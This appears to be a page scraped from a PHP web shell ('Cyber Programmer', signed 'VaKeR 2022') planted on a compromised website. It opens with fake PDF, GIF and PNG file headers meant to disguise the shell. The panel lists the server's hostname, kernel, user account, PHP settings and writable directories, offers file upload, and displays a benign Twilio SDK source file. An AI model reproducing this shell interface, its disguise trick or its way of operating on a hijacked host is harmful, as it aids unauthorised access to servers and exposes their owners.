%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/public_html/admin1/vendor/twilio/sdk/src/Twilio/Jwt/Grants/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/public_html/admin1/vendor/twilio/sdk/src/Twilio/Jwt/Grants/PlaybackGrant.php
<?php


namespace Twilio\Jwt\Grants;


class PlaybackGrant implements Grant {

    private $grant;

    /**
     * Returns the grant
     *
     * @return array playback grant from the Twilio API
     */
    public function getGrant(): array {
        return $this->grant;
    }

    /**
     * Set the playback grant that will allow access to a stream
     *
     * @param array $grant playback grant from Twilio API
     * @return $this updated grant
     */
    public function setGrant(array $grant): self {
        $this->grant = $grant;
        return $this;
    }

    /**
     * Returns the grant type
     *
     * @return string type of the grant
     */
    public function getGrantKey(): string {
        return 'player';
    }

    /**
     * Returns the grant data
     *
     * @return array data of the grant
     */
    public function getPayload(): array {
        $payload = [];
        if ($this->grant) {
            $payload = $this->grant;
        }
        return $payload;
    }
}

VaKeR 2022